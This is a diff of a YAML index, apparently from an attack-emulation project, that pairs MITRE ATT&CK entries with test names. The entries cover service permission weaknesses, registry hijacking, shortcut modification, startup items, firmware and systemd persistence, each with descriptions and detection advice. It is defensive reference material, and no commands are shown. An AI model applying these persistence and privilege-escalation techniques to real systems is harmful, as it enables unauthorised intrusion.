+      description: Adversaries may abuse legitimate extensible development features
+        of servers to establish persistent access to systems. Enterprise server applications
+        may include features that allow developers to write and install software or
+        scripts to extend the functionality of the main application. Adversaries may
+        install malicious components to extend and abuse server applications.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
       x_mitre_detection: "Consider monitoring application logs for abnormal behavior
         that may indicate suspicious installation of application software components.
         Consider monitoring file locations associated with the installation of new
@@ -50504,11 +51996,28 @@ persistence:
         or accessing files. Log authentication attempts to the server and any unusual
         traffic patterns to or from the server and internal network. (Citation: US-CERT
         Alert TA15-314A Web Shells) "
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1505
+        external_id: T1505
+        source_name: mitre-attack
+      - source_name: US-CERT Alert TA15-314A Web Shells
+        description: US-CERT. (2015, November 13). Compromised Web Servers and Web
+          Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.
+        url: https://www.us-cert.gov/ncas/alerts/TA15-314A
     atomic_tests: []
   T1574.010:
     technique:
-      created: '2020-03-12T20:43:53.998Z'
+      type: attack-pattern
       modified: '2020-09-16T19:10:04.262Z'
+      name: Services File Permissions Weakness
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Service: Service Metadata'
+      x_mitre_version: '1.0'
+      created: '2020-03-12T20:43:53.998Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -50516,25 +52025,26 @@ persistence:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd
       description: |-
         Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
 
         Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
-      name: Services File Permissions Weakness
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.010
-        url: https://attack.mitre.org/techniques/T1574/010
-      - external_id: CAPEC-17
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/17.html
-      x_mitre_platforms:
-      - Windows
+      x_mitre_contributors:
+      - Travis Smith, Tripwire
+      - Stefan Kanthak
+      x_mitre_effective_permissions:
+      - SYSTEM
+      - Administrator
+      - User
       x_mitre_detection: "Look for changes to binaries and service executables that
         may normally occur during software updates. If an executable is written, renamed,
         and/or moved to match an existing service executable, it could be detected
@@ -50543,28 +52053,29 @@ persistence:
         for abnormal process call trees from typical processes and services and for
         execution of other commands that could relate to Discovery or other adversary
         techniques. "
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_effective_permissions:
-      - SYSTEM
-      - Administrator
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Service: Service Metadata'
-      x_mitre_contributors:
-      - Travis Smith, Tripwire
-      - Stefan Kanthak
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/010
+        external_id: T1574.010
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/17.html
+        external_id: CAPEC-17
+        source_name: capec
     atomic_tests: []
   T1574.011:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Services Registry Permissions Weakness
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Process: Process Creation'
+      - 'Service: Service Metadata'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-10-14T23:52:52.058Z'
       created: '2020-03-13T11:42:14.444Z'
-      modified: '2020-09-16T19:07:48.590Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -50572,81 +52083,76 @@ persistence:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
       id: attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c
-      description: "Adversaries may execute their own malicious payloads by hijacking
-        the Registry entries used by services. Adversaries may use flaws in the permissions
-        for registry to redirect from the originally specified executable to one that
-        they control, in order to launch their own code at Service start.  Windows
-        stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.
-        The information stored under a service's Registry keys can be manipulated
-        to modify a service's execution parameters through tools such as the service
-        controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001),
-        or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys
-        is controlled through Access Control Lists and permissions. (Citation: Registry
-        Key Security)\n\nIf the permissions for users and groups are not properly
-        set and allow access to the Registry keys for a service, then adversaries
-        can change the service binPath/ImagePath to point to a different executable
-        under their control. When the service starts or is restarted, then the adversary-controlled
-        program will execute, allowing the adversary to gain persistence and/or privilege
-        escalation to the account context the service is set to execute under (local/domain
-        account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also
-        alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>)
-        that may be executed in an elevated context anytime the service fails or is
-        intentionally corrupted.(Citation: Kansa Service related collectors)(Citation:
-        Tweet Registry Perms Weakness) "
-      name: Services Registry Permissions Weakness
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.011
-        url: https://attack.mitre.org/techniques/T1574/011
-      - external_id: CAPEC-478
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/478.html
-      - source_name: Registry Key Security
-        url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN
-        description: Microsoft. (2018, May 31). Registry Key Security and Access Rights.
-          Retrieved March 16, 2017.
-      - source_name: Kansa Service related collectors
-        url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
-        description: 'Hull, D.. (2014, May 3). Kansa: Service related collectors and
-          analysis. Retrieved October 10, 2019.'
-      - source_name: Tweet Registry Perms Weakness
-        url: https://twitter.com/r0wdy_/status/936365549553991680
-        description: "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved
-          April 9, 2018."
-      - source_name: Autoruns for Windows
-        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
-        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
-          Retrieved March 13, 2020.
+      x_mitre_defense_bypassed:
+      - Application control
       x_mitre_platforms:
       - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      description: |-
+        Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)
+
+        If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
+
+        Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)
+
+        The <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)
+
+        Adversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll</code>.(Citation: malware_hides_service)
+      x_mitre_effective_permissions:
+      - SYSTEM
       x_mitre_contributors:
       - Travis Smith, Tripwire
       - Matthew Demaske, Adaptforward
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Process: Process Creation'
-      - 'Service: Service Metadata'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
 
         Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
 
         Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_effective_permissions:
-      - SYSTEM
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_defense_bypassed:
-      - Application control
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/011
+        external_id: T1574.011
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/478.html
+        external_id: CAPEC-478
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN
+        description: Microsoft. (2018, May 31). Registry Key Security and Access Rights.
+          Retrieved March 16, 2017.
+        source_name: Registry Key Security
+      - url: https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/
+        description: Lawrence Abrams. (2004, September 10). How Malware hides and
+          is installed as a Service. Retrieved August 30, 2021.
+        source_name: malware_hides_service
+      - url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
+        description: 'Hull, D.. (2014, May 3). Kansa: Service related collectors and
+          analysis. Retrieved October 10, 2019.'
+        source_name: Kansa Service related collectors
+      - url: https://twitter.com/r0wdy_/status/936365549553991680
+        description: "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved
+          April 9, 2018."
+        source_name: Tweet Registry Perms Weakness
+      - url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
+        description: Microsoft. (2021, August 5). HKLM\SYSTEM\CurrentControlSet\Services
+          Registry Tree. Retrieved August 25, 2021.
+        source_name: microsoft_services_registry_tree
+      - url: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
+        description: Clément Labro. (2020, November 12). Windows RpcEptMapper Service
+          Insecure Registry Permissions EoP. Retrieved August 25, 2021.
+        source_name: insecure_reg_perms
+      - url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost
+        description: Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September
+          2, 2021.
+        source_name: troj_zegost
+      - url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
+        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
+          Retrieved March 13, 2020.
+        source_name: Autoruns for Windows
       identifier: T1574.011
     atomic_tests:
     - name: Service Registry Permissions Weakness
@@ -50710,53 +52216,53 @@ persistence:
         name: command_prompt
   T1547.009:
     technique:
-      id: attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179
-      description: |-
-        Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.
-
-        Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.
-      name: Shortcut Modification
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.009
-        url: https://attack.mitre.org/techniques/T1547/009
-      - external_id: CAPEC-132
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/132.html
-      - source_name: BSidesSLC 2020 - LNK Elastic
-        url: https://www.youtube.com/watch?v=nJ0UsyiUEqQ
-        description: French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger
-          Than Its Weakest LNK. Retrieved November 30, 2020.
       type: attack-pattern
+      name: Shortcut Modification
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-04-13T21:30:24.555Z'
+      created: '2020-01-24T19:00:32.917Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-13T21:30:24.555Z'
-      created: '2020-01-24T19:00:32.917Z'
+      id: attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179
       x_mitre_platforms:
       - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      description: |-
+        Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.
+
+        Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.
       x_mitre_contributors:
       - David French, Elastic
       - Bobby, Filar, Elastic
       - Travis Smith, Tripwire
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
       x_mitre_detection: |-
         Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.
 
         Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/009
+        external_id: T1547.009
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/132.html
+        external_id: CAPEC-132
+        source_name: capec
+      - url: https://www.youtube.com/watch?v=nJ0UsyiUEqQ
+        description: French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger
+          Than Its Weakest LNK. Retrieved November 30, 2020.
+        source_name: BSidesSLC 2020 - LNK Elastic
       identifier: T1547.009
     atomic_tests:
     - name: Shortcut Modification
@@ -50812,6 +52318,23 @@ persistence:
         elevation_required: true
   T1037.005:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Startup Items
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T23:47:39.124Z'
+      created: '2020-01-15T18:00:33.603Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
       id: attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f
       description: "Adversaries may use startup items automatically executed at boot
         initialization to establish persistence. Startup items execute during the
@@ -50828,45 +52351,28 @@ persistence:
         mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since
         StartupItems run during the bootup phase of macOS, they will run as the elevated
         root user."
-      name: Startup Items
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1037.005
-        url: https://attack.mitre.org/techniques/T1037/005
-      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
-        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
-          2017.
-        source_name: Startup Items
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-24T23:47:39.124Z'
-      created: '2020-01-15T18:00:33.603Z'
-      x_mitre_platforms:
-      - macOS
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.
 
         Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1037/005
+        external_id: T1037.005
+        source_name: mitre-attack
+      - source_name: Startup Items
+        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
+          2017.
+        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
+      - source_name: Methods of Mac Malware Persistence
+        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
+          on Mac OS X. Retrieved July 5, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
       identifier: T1037.005
     atomic_tests:
     - name: Add file to Local Library StartupItems
@@ -50888,85 +52394,110 @@ persistence:
         elevation_required: true
   T1542.001:
     technique:
-      id: attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada
-      description: |-
-        Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)
-
-        System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
-      name: System Firmware
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1542.001
-        url: https://attack.mitre.org/techniques/T1542/001
-      - external_id: CAPEC-532
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/532.html
-      - url: https://en.wikipedia.org/wiki/BIOS
-        description: Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.
-        source_name: Wikipedia BIOS
-      - url: https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface
-        description: Wikipedia. (2017, July 10). Unified Extensible Firmware Interface.
-          Retrieved July 11, 2017.
-        source_name: Wikipedia UEFI
-      - url: http://www.uefi.org/about
-        description: UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.
-        source_name: About UEFI
-      - url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
-        description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE
-          Firmware Security Research. Retrieved January 5, 2016.
-        source_name: MITRE Trustworthy Firmware Measurement
-      - url: http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about
-        description: 'Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions
-          about BIOS Security. Retrieved December 11, 2015.'
-        source_name: MITRE Copernicus
-      - url: https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/
-        description: Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against
-          Vault 7 Disclosure Scanning. Retrieved March 13, 2017.
-        source_name: McAfee CHIPSEC Blog
-      - url: https://github.com/chipsec/chipsec
-        description: Intel. (2017, March 18). CHIPSEC Platform Security Assessment
-          Framework. Retrieved March 20, 2017.
-        source_name: Github CHIPSEC
-      - url: http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html
-        description: Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details.
-          Retrieved March 20, 2017.
-        source_name: Intel HackingTeam UEFI Rootkit
       type: attack-pattern
+      name: System Firmware
+      x_mitre_data_sources:
+      - 'Firmware: Firmware Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-05-19T21:22:37.865Z'
+      created: '2019-12-19T19:43:34.507Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-05-19T21:22:37.865Z'
-      created: '2019-12-19T19:43:34.507Z'
-      x_mitre_platforms:
-      - Windows
-      x_mitre_contributors:
-      - Jean-Ian Boutin, ESET
-      - McAfee
-      - Ryan Becwar
-      x_mitre_data_sources:
-      - 'Firmware: Firmware Modification'
-      x_mitre_detection: |-
-        System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.
-
-        Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      id: attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada
       x_mitre_defense_bypassed:
       - Host intrusion prevention systems
       - Anti-virus
       - File monitoring
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      description: |-
+        Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)
+
+        System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
+      x_mitre_contributors:
+      - Jean-Ian Boutin, ESET
+      - McAfee
+      - Ryan Becwar
+      x_mitre_detection: |-
+        System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.
+
+        Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1542/001
+        external_id: T1542.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/532.html
+        external_id: CAPEC-532
+        source_name: capec
+      - source_name: Wikipedia BIOS
+        description: Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.
+        url: https://en.wikipedia.org/wiki/BIOS
+      - source_name: Wikipedia UEFI
+        description: Wikipedia. (2017, July 10). Unified Extensible Firmware Interface.
+          Retrieved July 11, 2017.
+        url: https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface
+      - source_name: About UEFI
+        description: UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.
+        url: http://www.uefi.org/about
+      - source_name: MITRE Trustworthy Firmware Measurement
+        description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE
+          Firmware Security Research. Retrieved January 5, 2016.
+        url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
+      - source_name: MITRE Copernicus
+        description: 'Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions
+          about BIOS Security. Retrieved December 11, 2015.'
+        url: http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about
+      - source_name: McAfee CHIPSEC Blog
+        description: Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against
+          Vault 7 Disclosure Scanning. Retrieved March 13, 2017.
+        url: https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/
+      - source_name: Github CHIPSEC
+        description: Intel. (2017, March 18). CHIPSEC Platform Security Assessment
+          Framework. Retrieved March 20, 2017.
+        url: https://github.com/chipsec/chipsec
+      - source_name: Intel HackingTeam UEFI Rootkit
+        description: Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details.
+          Retrieved March 20, 2017.
+        url: http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html
     atomic_tests: []
   T1543.002:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Systemd Service
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Service: Service Creation'
+      - 'Service: Service Modification'
+      x_mitre_version: '1.2'
+      modified: '2020-10-09T13:46:29.701Z'
+      created: '2020-01-17T16:15:19.870Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
       id: attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b
+      x_mitre_platforms:
+      - Linux
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - root
       description: "Adversaries may create or modify systemd services to repeatedly
         execute malicious payloads as part of persistence. The systemd service manager
         is commonly used for managing background daemon processes (also known as services)
@@ -50993,66 +52524,41 @@ persistence:
         directories, low privilege users can create/modify service unit files in directories
         such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation:
         Rapid7 Service Persistence 22JUNE2016)"
-      name: Systemd Service
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1543.002
-        url: https://attack.mitre.org/techniques/T1543/002
-      - external_id: CAPEC-550
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/550.html
-      - external_id: CAPEC-551
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/551.html
-      - source_name: 'Linux man-pages: systemd January 2014'
-        url: http://man7.org/linux/man-pages/man1/systemd.1.html
-        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
-          Retrieved April 23, 2019.
-      - source_name: Freedesktop.org Linux systemd 29SEP2018
-        url: https://www.freedesktop.org/wiki/Software/systemd/
